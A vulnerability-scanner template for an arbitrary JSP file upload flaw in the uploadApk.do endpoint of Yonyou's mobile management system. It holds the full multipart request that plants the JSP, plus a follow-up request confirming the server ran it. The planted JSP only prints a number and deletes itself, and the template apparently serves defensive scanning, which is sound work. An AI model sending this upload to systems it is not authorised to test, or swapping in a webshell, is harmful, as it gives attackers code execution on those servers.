yonyou-mobile-uploadapk-fileupload: 用友 移动管理系统 uploadApk.do 任意文件上传

id: yonyou-mobile-uploadapk-fileupload

info:
  name: 用友 移动管理系统 uploadApk.do 任意文件上传
  author: zan8in
  severity: critical
  verified: true
  description: |
    用友 移动管理系统 uploadApk.do 接口存在任意文件上传漏洞，攻击者通过漏洞可以获取服务器权限
    app="用友-移动系统管理"
  reference:
    - https://peiqi.wgpsec.org/wiki/oa/%E7%94%A8%E5%8F%8BOA/%E7%94%A8%E5%8F%8B%20%E7%A7%BB%E5%8A%A8%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F%20uploadApk.do%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E.html
  tags: yonyou,fileupload
  created: 2023/08/09

set:
  r1: randomLowercase(4)
  r2: randomInt(40000, 44800)
  r3: randomInt(40000, 44800)
  rboundary: randomLowercase(8)
rules:
  r0:
    request:
      method: POST
      path: /maportal/appmanager/uploadApk.do?pk_obj=
      headers: 
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{rboundary}}
      body: "\
          ------WebKitFormBoundary{{rboundary}}\r\n\
          Content-Disposition: form-data; name=\"downloadpath\"; filename=\"{{r1}}.jsp\"\r\n\
          Content-Type: application/msword\r\n\
          \r\n\
          <%out.print({{r2}} * {{r3}});new java.io.File(application.getRealPath(request.getServletPath())).delete();%>\r\n\
          \r\n\
          ------WebKitFormBoundary{{rboundary}}--\r\n\
          "
    expression: response.status == 200 && response.body.bcontains(b'"status":') 
  r1:
    request:
      method: GET
      path: /maupload/apk/{{r1}}.jsp
    expression: response.status == 200  && response.body.bcontains(bytes(string(r2 * r3)))
expression: r0() && r1()